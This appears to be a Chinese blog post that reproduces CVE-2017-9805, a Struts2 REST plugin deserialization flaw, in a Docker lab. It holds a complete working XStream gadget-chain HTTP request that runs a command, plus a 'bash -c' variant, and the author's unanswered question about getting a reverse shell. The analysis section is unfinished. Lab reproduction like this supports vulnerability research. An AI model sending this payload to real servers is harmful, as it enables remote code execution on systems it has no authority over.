我是靠谱客的博主 善良柠檬,这篇文章主要介绍CVE-2017-9805(Struts2 漏洞复现与分析)0x01 漏洞简介0x02 环境搭建0x02 漏洞分析,现在分享给大家,希望可以做个参考。

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,同时搭个环境分析一下漏洞形成的原因。

0x01 漏洞简介

漏洞背景 2017年9月5日,Apache官方发布了一则公告,该公告称Apache Struts2的REST插件存在远程代码执行的高危漏洞,CVE编号为CVE-2017-9805。 Struts2 REST插件的XStream组件存在反序列化漏洞,使用带有 XStream实例的 XStreamHandler进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

0x02 环境搭建

env版本
docker16.04
jdk1.8.0_144
struts源码2.5.12
tomcat8.0.46

直接从官网下载相对应的源码

0x1 dockerfile

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
FROM ubuntu:16.04 MAINTAINER 4t10n <act01n@163.com> ENV DEBIAN_FRONTEND noninteractive RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list RUN apt-get update -y && apt-get install unzip && apt-get install net-tools WORKDIR /tmp COPY ./apache-tomcat-8.0.46.tar.gz /tmp/ COPY ./jdk.tar.gz /tmp/ COPY ./struts.zip /tmp/ COPY ./cmd.sh /tmp/ RUN chmod a+x cmd.sh EXPOSE 8080 CMD ["/bin/bash","/tmp/cmd.sh"]

cmd.sh

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tar -xz -f jdk.tar.gz -C /usr/local/ tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/ unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webapps mv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war ./../../ # setup jdk echo ''' JAVA_HOME=/usr/local/jdk1.8.0_144 JAVA_BIN=/usr/local/jdk1.8.0_144/bin PATH=$PATH:$JAVA_BIN CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export JAVA_HOME JAVA_BIN PATH CLASSPATH '''>>/etc/profile source /etc/profile /usr/local/apache-tomcat-8.0.46/bin/startup.sh /bin/bash

相关源码在Github上

0x2 攻击代码

这里只是生成一个文件4ct10n

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /struts2-rest-showcase/orders/3 HTTP/1.1 Host: 192.168.43.165:8989 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.43.165:8989/struts2-rest-showcase/orders/3/edit Cookie: JSESSIONID=31A64A6CF6021DA63449D6DDEF10202F Connection: close Content-Type: application/xml Content-Length: 1656 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/home/4ct10n</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>

这里写图片描述

这里写图片描述

0x3 攻击后续

其实在正真测试的时候已近发现了一些指令受了限制,但是一开始并没有进行研究,今天瞅了一眼freebuf文章,看是已经能够执行任何指令,这里是连接

我在这也是实验了一发,试了一下文中说的其他指令,但唯独shell反弹没有成功

文中主要说的利用方法是利用bash -c指令
具体格式如下

复制代码
1
2
3
4
5
<command> <string>bash</string> <string>-c</string> <string>echo asd >/tmp/4ct10n</string> </command>

这里写图片描述

怎么反弹shell ……. ,在线等

0x02 漏洞分析

未完待续

最后

以上就是善良柠檬最近收集整理的关于CVE-2017-9805(Struts2 漏洞复现与分析)0x01 漏洞简介0x02 环境搭建0x02 漏洞分析的全部内容,更多相关CVE-2017-9805(Struts2内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(83)

评论列表共有 0 条评论

立即
投稿
返回
顶部